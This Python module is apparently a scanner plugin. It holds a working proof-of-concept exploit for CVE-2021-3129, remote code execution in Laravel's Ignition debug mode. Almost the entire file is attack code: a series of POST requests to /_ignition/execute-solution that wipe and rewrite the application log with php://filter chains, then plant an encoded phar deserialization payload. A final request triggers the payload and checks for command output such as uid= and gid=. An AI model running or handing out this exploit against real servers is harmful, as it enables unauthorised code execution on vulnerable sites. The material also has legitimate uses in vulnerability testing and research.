text: import requests
  
  
  # Vuln Base Info
  def info():
      return {
          "author": "cckuailong",
          "name": '''Laravel <= v8.4.2 Debug Mode - Remote Code Execution''',
          "description": '''Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.''',
          "severity": "critical",
          "references": [
              "https://www.ambionics.io/blog/laravel-debug-rce", 
              "https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129"
          ],
          "classification": {
              "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "cvss-score": "",
              "cve-id": "CVE-2021-3129",
              "cwe-id": ""
          },
          "metadata":{
              "vuln-target": "",
              
          },
          "tags": ["cve", "cve2021", "laravel", "rce"],
      }
  
  
  # Vender Fingerprint
  def fingerprint(url):
      return True
  
  # Proof of Concept
  def poc(url):
      result = {}
      try:
          url = format_url(url)
  
          path = """/_ignition/execute-solution"""
          method = "POST"
          data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
          headers = {'Accept': 'application/json', 'Content-Type': 'application/json'}
          resp0 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
  
          path = """/_ignition/execute-solution"""
          method = "POST"
          data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
          headers = {'Accept': 'application/json', 'Content-Type': 'application/json'}
          resp1 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
  
          path = """/_ignition/execute-solution"""
          method = "POST"
          data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}}
          headers = {'Accept': 'application/json', 'Content-Type': 'application/json'}
          resp2 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
  
          path = """/_ignition/execute-solution"""
          method = "POST"
          data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}}
          headers = {'Accept': 'application/json', 'Content-Type': 'application/json'}
          resp3 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
  
          path = """/_ignition/execute-solution"""
          method = "POST"
          data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
          headers = {'Accept': 'application/json', 'Content-Type': 'application/json'}
          resp4 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
  
          path = """/_ignition/execute-solution"""
          method = "POST"
          data = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}
          headers = {'Accept': 'application/json', 'Content-Type': 'application/json'}
          resp5 = requests.request(method=method,url=url+path,json=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
  
          if (resp5.status_code == 500) and ("""uid=""" in resp5.text and """gid=""" in resp5.text and """groups=""" in resp5.text and """Illuminate""" in resp5.text):
              result["success"] = True
              result["info"] = info()
              result["payload"] = url+path
  
      except:
          result["success"] = False
      
      return result
  
  
  # Exploit, can be same with poc()
  def exp(url):
      return poc(url)
  
  
  # Utils
  def format_url(url):
      url = url.strip()
      if not ( url.startswith('http://') or url.startswith('https://') ):
          url = 'http://' + url
      url = url.rstrip('/')
  
      return url